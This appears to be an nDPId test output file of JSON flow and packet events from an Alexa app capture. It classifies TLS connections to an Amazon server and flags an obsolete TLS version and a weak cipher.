+00738{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1877,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":113,"flow_packet_id":4,"flow_first_seen":1490976114921,"flow_last_seen":1490976115066,"flow_tot_l4_data_len":347,"flow_min_l4_data_len":20,"flow_max_l4_data_len":259,"flow_avg_l4_data_len":86,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45731,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"pitangui.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00739{"flow_id":114,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1878,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976115,"pkt_ts_usec":67054,"pkt_caplen":293,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":293,"pkt_l4_len":259,"pkt":"AMDKkaPvePiC0\/vCCABFAAEXCnRAAEAGO6CsECrYNF7ohrKkAbvN5GFIckqrkVAYAVfgTwAAFgMBAOoBAADmAwOHALGigIjvApxLIe0mGRpTgcLEUyJobZ3dCQZJexl6RCCCMRQMGMoVs0icgvrIiO2DryH4GtgAAWm5say3aH682wAgiorMqcyozBTME8ArwC\/ALMAwwBPAFACcAJ0ALwA1AAoBAAB9uroAAP8BAAEAAAAAGAAWAAATcGl0YW5ndWkuYW1hem9uLmNvbQAXAAAAIwAAAA0AFAASBAMIBAQBBQMIBQUBCAYGAQIBAAUABQEAAAAAABIAAAAQAA4ADAJoMghodHRwLzEuMQALAAIBAAAKAAoACAoKAB0AFwAYqqoAAQA="} +00738{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1878,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":114,"flow_packet_id":4,"flow_first_seen":1490976114940,"flow_last_seen":1490976115067,"flow_tot_l4_data_len":347,"flow_min_l4_data_len":20,"flow_max_l4_data_len":259,"flow_avg_l4_data_len":86,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45732,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"pitangui.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00537{"flow_id":111,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1879,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976115,"pkt_ts_usec":189981,"pkt_caplen":139,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":139,"pkt_l4_len":105,"pkt":"ePiC0\/vCAMDKkVoBCABFAAB9YoNAAOcGPSo0XuiGrBAq2AG7sqGNgYNYyBybc1AYf\/ijGAAAFgMBAEoCAABGAwFY3n1zINgI1Vy\/FXdUMuPvUGDLWthjR2H7WINeUtzlBCCCMRQMGMoVs0icgvrIiO2DryH4GtgAAWm5say3aH682wAvABQDAQABAQ=="} +00853{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1879,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":111,"flow_packet_id":5,"flow_first_seen":1490976114894,"flow_last_seen":1490976115189,"flow_tot_l4_data_len":452,"flow_min_l4_data_len":20,"flow_max_l4_data_len":259,"flow_avg_l4_data_len":90,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45729,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)","8":"Weak TLS cipher"},"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"pitangui.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"18e962e106761869a61045bed0e81c2c","unsafe_cipher":1,"cipher":"TLS_RSA_WITH_AES_128_CBC_SHA","alpn":"h2,http\/1.1"}} +00416{"flow_id":111,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1880,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976115,"pkt_ts_usec":193519,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAo8bVAAEAGVU2sECrYNF7ohrKhAbvIHJtzjYGDrVAQAVeRlAAA"} +00493{"flow_id":111,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1881,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976115,"pkt_ts_usec":199998,"pkt_caplen":107,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":107,"pkt_l4_len":73,"pkt":"ePiC0\/vCAMDKkVoBCABFAABdYrtAAOcGPRI0XuiGrBAq2AG7sqGNgYOtyBybc1AYf\/hN2gAAFgMBADB7pB5S47sHi48VnW8WLmVWafa\/K61NUo6qUxUYWxLiw8b1Kbg\/Xg03sM0eHRceYao="} +00536{"flow_id":112,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1882,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976115,"pkt_ts_usec":200136,"pkt_caplen":139,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":139,"pkt_l4_len":105,"pkt":"ePiC0\/vCAMDKkVoBCABFAAB9ReVAAOcGWcg0XuiGrBAq2AG7sqKEfV0Oeu3ygFAYf\/ig1AAAFgMBAEoCAABGAwFY3n1zJme6pFAslczvpX19TcUFgg3DbLK17SjfiEEQUyCCMRQMGMoVs0icgvrIiO2DryH4GtgAAWm5say3aH682wAvABQDAQABAQ=="} +00853{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1882,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":112,"flow_packet_id":5,"flow_first_seen":1490976114906,"flow_last_seen":1490976115200,"flow_tot_l4_data_len":452,"flow_min_l4_data_len":20,"flow_max_l4_data_len":259,"flow_avg_l4_data_len":90,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45730,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)","8":"Weak TLS cipher"},"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"pitangui.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"18e962e106761869a61045bed0e81c2c","unsafe_cipher":1,"cipher":"TLS_RSA_WITH_AES_128_CBC_SHA","alpn":"h2,http\/1.1"}} +00538{"flow_id":110,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1883,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976115,"pkt_ts_usec":200184,"pkt_caplen":139,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":139,"pkt_l4_len":105,"pkt":"ePiC0\/vCAMDKkVoBCABFAAB9RCRAAOcGW4k0XuiGrBAq2AG7sqDRCzciLZ\/RUlAYf\/gsyQAAFgMBAEoCAABGAwFY3n1zE6Tufw7kJSJXbVavRo\/6lNuOwDxaW+i7VIwIKCCCMRQMGMoVs0icgvrIiO2DryH4GtgAAWm5say3aH682wAvABQDAQABAQ=="} +00853{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1883,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":110,"flow_packet_id":5,"flow_first_seen":1490976114885,"flow_last_seen":1490976115200,"flow_tot_l4_data_len":452,"flow_min_l4_data_len":20,"flow_max_l4_data_len":259,"flow_avg_l4_data_len":90,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45728,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)","8":"Weak TLS cipher"},"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"pitangui.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"18e962e106761869a61045bed0e81c2c","unsafe_cipher":1,"cipher":"TLS_RSA_WITH_AES_128_CBC_SHA","alpn":"h2,http\/1.1"}} +00537{"flow_id":113,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1884,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976115,"pkt_ts_usec":200219,"pkt_caplen":139,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":139,"pkt_l4_len":105,"pkt":"ePiC0\/vCAMDKkVoBCABFAAB9RepAAOcGWcM0XuiGrBAq2AG7sqOllKPTjLiI71AYf\/jGMAAAFgMBAEoCAABGAwFY3n1zTn6J09aDxTBb8TVltBdGJeEW\/LDcikVqGAruryCCMRQMGMoVs0icgvrIiO2DryH4GtgAAWm5say3aH682wAvABQDAQABAQ=="} +00853{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1884,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":113,"flow_packet_id":5,"flow_first_seen":1490976114921,"flow_last_seen":1490976115200,"flow_tot_l4_data_len":452,"flow_min_l4_data_len":20,"flow_max_l4_data_len":259,"flow_avg_l4_data_len":90,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45731,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)","8":"Weak TLS cipher"},"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"pitangui.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"18e962e106761869a61045bed0e81c2c","unsafe_cipher":1,"cipher":"TLS_RSA_WITH_AES_128_CBC_SHA","alpn":"h2,http\/1.1"}} +00493{"flow_id":110,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1885,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976115,"pkt_ts_usec":200250,"pkt_caplen":107,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":107,"pkt_l4_len":73,"pkt":"ePiC0\/vCAMDKkVoBCABFAABdRCtAAOcGW6I0XuiGrBAq2AG7sqDRCzd3LZ\/RUlAYf\/hkXgAAFgMBADA37z1MUXYPCTkZzIkxPt0L62IG2JW4lQJa+PyuDrDQ9\/jP2tysOn1Oi765In4eobE="} +00491{"flow_id":113,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1886,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976115,"pkt_ts_usec":200304,"pkt_caplen":107,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":107,"pkt_l4_len":73,"pkt":"ePiC0\/vCAMDKkVoBCABFAABdRftAAOcGWdI0XuiGrBAq2AG7sqOllKQojLiI71AYf\/jinwAAFgMBADBGgL8CbH+FphIn8Kw58CgcI1Hvy02Rc+ye4fIk9uZ91iGdsMyT+csUtTaAtdZ19js="} +00493{"flow_id":112,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1887,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976115,"pkt_ts_usec":200423,"pkt_caplen":107,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":107,"pkt_l4_len":73,"pkt":"ePiC0\/vCAMDKkVoBCABFAABdRflAAOcGWdQ0XuiGrBAq2AG7sqKEfV1jeu3ygFAYf\/j04AAAFgMBADCZonBElb76M9e\/It2\/9+kwjK0rFBwkaSlpXnXJXqaRCCgerN1nZkwFif0azWrVX28="} +00537{"flow_id":114,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1888,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976115,"pkt_ts_usec":201662,"pkt_caplen":139,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":139,"pkt_l4_len":105,"pkt":"ePiC0\/vCAMDKkVoBCABFAAB95rdAAOcGuPU0XuiGrBAq2AG7sqRySquRzeRiN1AYf\/gEdwAAFgMBAEoCAABGAwFY3n1z\/bQjY2ZjlLbA3DZTa+cwMTsfQ+lvAGzSBsvFwiCCMRQMGMoVs0icgvrIiO2DryH4GtgAAWm5say3aH682wAvABQDAQABAQ=="} +00853{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1888,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":114,"flow_packet_id":5,"flow_first_seen":1490976114940,"flow_last_seen":1490976115201,"flow_tot_l4_data_len":452,"flow_min_l4_data_len":20,"flow_max_l4_data_len":259,"flow_avg_l4_data_len":90,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45732,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)","8":"Weak TLS cipher"},"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"pitangui.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"18e962e106761869a61045bed0e81c2c","unsafe_cipher":1,"cipher":"TLS_RSA_WITH_AES_128_CBC_SHA","alpn":"h2,http\/1.1"}} +00493{"flow_id":114,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1889,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976115,"pkt_ts_usec":201740,"pkt_caplen":107,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":107,"pkt_l4_len":73,"pkt":"ePiC0\/vCAMDKkVoBCABFAABd5rpAAOcGuRI0XuiGrBAq2AG7sqRySqvmzeRiN1AYf\/gjVwAAFgMBADCY3eZagvXQQKtaOKvRqqxwqtoI6Fa+4RdiQI2sH3uhs\/j8UwHK3sEOkR\/OASIyoEo="} +00416{"flow_id":111,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1890,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976115,"pkt_ts_usec":202589,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAo8bZAAEAGVUysECrYNF7ohrKhAbvIHJtzjYGD4lAQAVeRXwAA"} +00416{"flow_id":112,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1891,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976115,"pkt_ts_usec":202863,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAomqVAAEAGrF2sECrYNF7ohrKiAbt67fKAhH1dY1AQAVe3AwAA"} +00498{"flow_id":111,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1892,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976115,"pkt_ts_usec":211168,"pkt_caplen":113,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":113,"pkt_l4_len":79,"pkt":"AMDKkaPvePiC0\/vCCABFAABj8bdAAEAGVRCsECrYNF7ohrKhAbvIHJtzjYGD4lAYAVeLaQAAFAMBAAEBFgMBADAbgko9AFmbaZWFfpPGBhNj6viOE+OxadmZDL5I8fQD9j1v2UbjEyoLFGWZmnSxYkU="} +00416{"flow_id":110,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1893,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976115,"pkt_ts_usec":211435,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAou1VAAEAGi62sECrYNF7ohrKgAbstn9FS0Qs3d1AQAVf+3wAA"} +00416{"flow_id":113,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1894,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976115,"pkt_ts_usec":211570,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAo7M5AAEAGWjSsECrYNF7ohrKjAbuMuIjvpZSkKFAQAVem7AAA"} +00416{"flow_id":110,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1895,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976115,"pkt_ts_usec":211695,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAou1ZAAEAGi6ysECrYNF7ohrKgAbstn9FS0Qs3rFAQAVf+qgAA"} +00416{"flow_id":113,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1896,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976115,"pkt_ts_usec":211821,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAo7M9AAEAGWjOsECrYNF7ohrKjAbuMuIjvpZSkXVAQAVemtwAA"} +00416{"flow_id":112,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1897,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976115,"pkt_ts_usec":211945,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAomqZAAEAGrFysECrYNF7ohrKiAbt67fKAhH1dmFAQAVe2zgAA"} +00416{"flow_id":114,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1898,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976115,"pkt_ts_usec":212105,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoCnVAAEAGPI6sECrYNF7ohrKkAbvN5GI3ckqr5lAQAVe4AwAA"} +00416{"flow_id":114,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1899,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976115,"pkt_ts_usec":212232,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoCnZAAEAGPI2sECrYNF7ohrKkAbvN5GI3ckqsG1AQAVe3zgAA"} +00498{"flow_id":112,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1900,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976115,"pkt_ts_usec":214090,"pkt_caplen":113,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":113,"pkt_l4_len":79,"pkt":"AMDKkaPvePiC0\/vCCABFAABjmqdAAEAGrCCsECrYNF7ohrKiAbt67fKAhH1dmFAYAVcn9wAAFAMBAAEBFgMBADAPpKzHTxyvv9tYIbi3+Q2l4tloo1icixF9vFKR4D8pDcZ++bhsrXbBbiMd0tvp+u0="} +00499{"flow_id":110,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1901,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976115,"pkt_ts_usec":226949,"pkt_caplen":113,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":113,"pkt_l4_len":79,"pkt":"AMDKkaPvePiC0\/vCCABFAABju1dAAEAGi3CsECrYNF7ohrKgAbstn9FS0Qs3rFAYAVdFBgAAFAMBAAEBFgMBADCH2LItt+70XHQ1SGBbhd\/teuRFnEgxGnygH+vL3m98+WHjV05Dzhhl+mYqx45rqH8="} +00500{"flow_id":113,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1902,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976115,"pkt_ts_usec":238575,"pkt_caplen":113,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":113,"pkt_l4_len":79,"pkt":"AMDKkaPvePiC0\/vCCABFAABj7NBAAEAGWfesECrYNF7ohrKjAbuMuIjvpZSkXVAYAVcs9QAAFAMBAAEBFgMBADDvxNCBAJVrGzgQQTMP\/cLT1b\/EYDa0bXfim8sQn00VZ+1SwqzvLYpo89lgGEVfnHs="} +00501{"flow_id":114,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1903,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976115,"pkt_ts_usec":249734,"pkt_caplen":113,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":113,"pkt_l4_len":79,"pkt":"AMDKkaPvePiC0\/vCCABFAABjCndAAEAGPFGsECrYNF7ohrKkAbvN5GI3ckqsG1AYAVfN\/AAAFAMBAAEBFgMBADCcVdBWpFmo2PK+jEkjr0+xMhBJ\/0sB1HkJKkLpxz1ENCjmb6B\/IlrfYXzPjqpXmkk="} +02399{"flow_id":111,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1904,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976115,"pkt_ts_usec":263488,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"AMDKkaPvePiC0\/vCCABFAAXc8bhAAEAGT5asECrYNF7ohrKhAbvIHJuujYGD4lAQAVeqZgAAFwMBACCJFkZTDOFwHW1Yg9a6LW73oqrQLsJZfZP8YIen74pPmRcDAQaQiTIkiSwfjS7\/J3MjNGEes5yaD3mcJihmelEP+tUpq78B1E4Iiy1FTLC8pdjHxXuG+H3Sm14EiXvitRBm2n8VYAwOBX0ZFcRID68VSQySJJK3Rhyagbzo7HArImFzHJ\/pnU7W\/WMOtoQxRl89ULmaUtP45MNYwOPS7k\/q3sbX7iHRvaE1f6CceVbDe1HcRMs7E\/AmLIARBBNay\/A3LhFOP1qEswfYkZYEZauo21fL2FEqEXk1cJauKhXaNNSNCW7p0lniHkHXI\/LVcdjrvCuP\/AvdpKtMyAmoz\/HnSiJxNawtSfdvCPM2JOwZpH+Fry2P1pa5ecZzIxH35e5ZRJV+wngAv99GdcRZCTbBx0A3a6Q0BtQpnV2l7G9XDOdUJpMAIUMCJR2XtcXD6kLpwVk\/i+0+mEKOW8ozYeKJhUNBghHFnSKqZe5udnoeBRvgmBiF3E2t59Hdw0UvfsYqSmW6CePMzjDDDPENLlGfWTFZlMOS1FMx5jvKqiAiHbIQ+XXfo1QqqwewZBx+Myhdxqit+uWVwGMl7Gg2d1qlNWFxd8W752hA7Pk8rrGKFwvwIHibzJHMfIvxpblS+Cb0B\/v7G8yFrpGd1gzcBMlcoS9qSZMyXC+SS8ILzat151XB\/prr5XQIlhiLj1LhVbifwBW859x8\/1uZiHtf+s4GZIFL50\/kE7\/ANZDDoG0b1kOvKM11AECAlhm7eqkyZquM4WS624Cm2fH02zQvU\/hBbhYPav+sfCzvTTxx9ANT7EemimZiv1nAbJJ2GX1JzB4cRZZNpr96R8Yl3Qh9KHzTQ9SshX9kWSSSEgdxhro93fg1XTFE3MLzTojLdVvAzvhjDLJ9di0oxOLU83t8eJTEg6CWxfJ570\/2+lJ6IJrkGD48TtyL0PRAsOqhHZRgL+U7w1N8X+Pi8GHkw5NcFlJ4CsOZ2IDc+Xs0a2gGMQYp7bPcfqI4eA90Lw+qniNwfNURJYfBVkFyhqOiZLhTphDpjcIoq1WLDcCvFeoOcI3fxIrSD4Yh57miAcIyTyd6nE38Ius8SNWynCYEH5d4vZGkSWarhhsg+EEu64o9LkVWFfaBB4kb\/A8bwLXAkdawNXwJ4lldneVZBCBxlZYe0zTsNZCMQrXJENO8r7Kmib72u88VjcRXQ0sJ9xcMXw9aiBidVwa42HKzwYjhYaVWxgevFOEUBEL9O2BO9zs1+Iq64QmF7SXbHCS8rzyThE5YPUFrULPAP5xRH3LiAASXStnu\/HULSWkw4pUbV5DWFmwBK13\/vi8dJsxeOgfh7JYsDGV8j6whhS5HZuyZi7ccwC7XWdiRAiqZrwCQkZUZmj9f\/8qhi7Py267X24XsGpkfzPGMqfrLax8VIxuhiKygiFWgVLhfwXoL8pbgCoIAyeKdwrlSBJQzJ8wKo4O8sb9VsoOdtSqejhHiY5cxKaBEmxrF4LhVQ1JQbQHpopL01IaV4sjbnAM8waWrEc31sGIbpbf7x2OSyIclSSGaPNJZz7epKL7B4\/YzHqLZyjjnpwSgXwZLPEOQBCWQrjC3BW8U1msTuS2O0GAYV7Pd0w+avoF5DQmjxyHQJiqm0+5Z40R+wqRn27wj2tcANZDlz8tn2aW\/eBBeNAT793TH08t\/YD4cu3kkgTtiow7GJ0AFaYPZa483nCKtuDKi3JSxjHdR\/FbNa0M\/ibpvWONsLqLefQ5P8zy2OPipvWhI9aDdBENBjZxTHb0f7A6duoPN0O9jj0RAJMelJnz55nSx+36aKRMgIpYQPuAU58Ygzq7Qcv+x8SFmFnhLuIHWXEnmRCoXV00Lj6qmKEAITYpmlnOCvwTYeZ9+XwYd6q4flom8sy5zUZO70\/WlZWGiHob\/nelb7n8Hk3Y1uELrTvwZGC8D2Fo="} +00777{"flow_id":111,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1905,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976115,"pkt_ts_usec":263797,"pkt_caplen":316,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":316,"pkt_l4_len":282,"pkt":"AMDKkaPvePiC0\/vCCABFAAEu8blAAEAGVEOsECrYNF7ohrKhAbvIHKFijYGD4lAYAVcaqAAAqH+NaJ6Vh0k3C+5CWjQJDJEfVCf+UO7p3HdyzBtEbJfJL1qxQeLmkE3uLLZ9cPW4k+MoR\/DXsCbtN5aWbymUiyGYGlAtsQvihtMF5j3k+81U8llPLDFj1JI3ys5Dp8dk5YKdO7Hm8NwXHVdxonCR8ZUfob6Tf5fxPFNxbc6OOcIi4Lgl0sT+YGuax8DZrFU5CLAozbHarPdfsRzsqD33YXhM2Bq5yiXQxFHx2CrrlJnBoNrkStW9\/H6OHauurdu5mSw3fwDqhfMdPgPSPw5EMGpB1h\/75EsvjzXfZZ7CA2l5WiSRX\/wqApOxxmcCM0MYnEwIbG4Cm0bp0DrihP9oCUC0\/PB6dA=="} 